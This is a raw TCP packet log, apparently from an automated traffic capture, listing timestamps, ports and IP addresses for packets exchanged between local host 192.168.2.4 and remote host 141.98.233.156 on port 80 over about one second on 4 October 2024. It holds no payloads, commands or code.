Oct 4, 2024 09:52:26.698106050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.698118925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.698154926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.737507105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.737642050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.737690926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.737762928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.737793922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.737826109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.737858057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.737860918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.737860918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.737862110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.737862110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.737862110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.737893105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.737966061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.737967014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.737967014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.780706882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.780738115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.780759096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.780781984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.780797005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.780812979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.780843019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.780879021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781027079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781028032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781050920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781083107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781100988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781141996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781166077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781197071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781223059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781229019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781249046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781261921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781277895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781294107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781316996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781339884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781459093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781488895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781517982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781522036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781548977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781553984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781572104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781606913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781610012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781641960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781661034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781673908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781701088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781721115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781910896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781943083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781964064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.781974077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.781987906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782006979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782033920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782037973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782063007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782084942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782087088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782135963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782140017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782191038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782283068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782314062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782334089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782346010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782356977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782377005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782394886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782409906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782430887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782454967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782710075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782741070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782759905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782772064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782789946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782805920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782819986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782836914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782855034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782866955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782877922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782898903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782913923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782929897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782953978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.782960892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782993078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.782994032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783014059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783025026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783046961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783055067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783071995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783086061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783107042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783118963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783129930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783169985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783545017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783576012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783601999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783607006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783620119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783638954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783654928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783668995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783689976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783699989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783715010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783730984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783750057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783761978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783777952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783792973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783812046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783822060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783849955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783853054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783884048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783885956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783905983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783915997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783926964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783947945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.783965111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.783981085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784001112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784019947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784472942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784502983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784524918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784534931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784547091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784563065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784584045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784595013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784601927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784625053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784642935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784657001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784676075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784687996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784704924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784719944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784735918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784751892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784770966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784806967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.784939051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784971952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.784992933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785002947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785015106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785034895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785053968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785067081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785087109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785098076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785119057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785130024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785144091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785162926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785182953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785195112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785204887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785226107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785245895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785257101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785274029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785288095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785307884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785330057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785336971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785387039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785388947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785423994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785440922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785469055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785883904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785916090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785947084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785949945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.785978079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.785983086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786001921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786010027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786020994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786041021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786061049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786072016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786082983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786103010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786118031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786129951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786153078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786161900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786173105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786192894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786211014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786223888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786238909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786256075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786273003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786286116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786304951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786317110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786336899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786348104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786367893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786390066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786659956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786691904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786711931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786722898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786751032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786755085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786767960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786791086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786803961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786822081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.786843061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.786859035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.826394081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.826426983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.826459885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.826491117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.826524973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.826570988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.826603889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.826601028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.826601028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.826601028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.826601982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.826601982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.826636076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.826711893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.826711893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.826711893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869312048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869362116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869393110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869424105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869456053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869487047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869484901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869484901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869484901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869484901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869519949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869525909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869525909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869550943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869561911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869595051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869595051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869626999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869642973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869659901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869671106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869704962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869709969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869755030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869818926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869846106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869868040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869879007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869889021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869911909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.869942904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869971991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.869982958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870029926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870031118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870063066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870086908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870095015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870110035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870165110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870198965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870245934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870256901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870276928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870297909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870309114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870321035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870341063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870359898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870373011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870388985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870425940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870596886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870628119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870651007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870660067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870671034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870707989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870727062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870739937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870754957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870769978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870800018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870836020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870862961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.870917082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.870980978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871011972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871033907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871043921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871062040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871076107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871093035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871108055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871120930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871140003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871167898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871170044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871201992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871218920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871218920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871234894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.871253014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.871278048 CEST	49745	80	192.168.2.4	141.98.233.156
